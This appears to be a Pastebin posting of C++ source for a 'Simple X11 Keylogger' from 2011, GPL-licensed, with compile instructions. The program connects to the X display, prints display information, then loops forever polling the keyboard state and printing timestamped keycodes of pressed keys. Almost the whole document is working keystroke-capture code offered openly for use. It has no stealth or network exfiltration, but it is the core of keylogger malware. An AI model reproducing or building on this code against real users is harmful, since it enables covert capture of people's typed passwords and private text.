st4ck

Simple X11 Keylogger

May 10th, 2011
1,711
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. ** Simple X11 Keylogger.
  3. ** Developed by Roberto Tacconelli 10 May 2011 (05/10/2011)
  4. ** http://www.st4ck.com
  5. **
  6. ** Compile: g++ -lX11 keylogger.cpp -o keylogger
  7. **
  8. ** This program is free software: you can redistribute it and/or modify
  9. ** it under the terms of the GNU General Public License as published by
  10. ** the Free Software Foundation, either version 3 of the License, or
  11. ** (at your option) any later version.
  12. **
  13. ** This program is distributed in the hope that it will be useful,
  14. ** but WITHOUT ANY WARRANTY; without even the implied warranty of
  15. ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  16. ** GNU General Public License for more details.
  17. **
  18. ** You should have received a copy of the GNU General Public License
  19. ** along with this program.  If not, see <http://www.gnu.org/licenses/>.
  20. */
  21.  
  22. #include <X11/Xlib.h>
  23. #include <X11/Xutil.h>
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <unistd.h>
  27. #include <sys/time.h>
  28.  
  29. double gettime() {
  30.  timeval tim;
  31.  gettimeofday(&tim, NULL);
  32.  double t1=tim.tv_sec+(tim.tv_usec/1000000.0);
  33.  return t1;
  34. }
  35.  
  36. int main() {
  37.  Display *display_name;
  38.  int depth,screen,connection;
  39.  display_name = XOpenDisplay(NULL);
  40.  screen = DefaultScreen(display_name);
  41.  depth = DefaultDepth(display_name,screen);
  42.  connection = ConnectionNumber(display_name);
  43.  printf("Keylogger started\n\nInfo about X11 connection:\n");
  44.  printf(" The display is::%s\n",XDisplayName((char*)display_name));
  45.  printf(" Width::%d\tHeight::%d\n",
  46.  DisplayWidth(display_name,screen),
  47.  DisplayHeight(display_name,screen));
  48.  printf(" Connection number is %d\n",connection);
  49.  
  50.  if(depth == 1)
  51.   printf(" You live in prehistoric times\n");
  52.  else
  53.   printf(" You've got a coloured monitor with depth of %d\n",depth);
  54.  
  55.  printf("\n\nLogging started.\n\n");
  56.  
  57.  char keys_return[32];
  58.  while(1) {
  59.   XQueryKeymap(display_name,keys_return);
  60.   for (int i=0; i<32; i++) {
  61.    if (keys_return[i] != 0) {
  62.     int pos = 0;
  63.     int num = keys_return[i];
  64.     printf("%.20f: ",gettime());
  65.     while (pos < 8) {
  66.      if ((num & 0x01) == 1) {
  67.       printf("%d ",i*8+pos);
  68.      }
  69.      pos++; num /= 2;
  70.     }
  71.     printf("\n");
  72.    }
  73.   }
  74.   usleep(30000);
  75.  }
  76.  XCloseDisplay(display_name);
  77. }
RAW Paste Data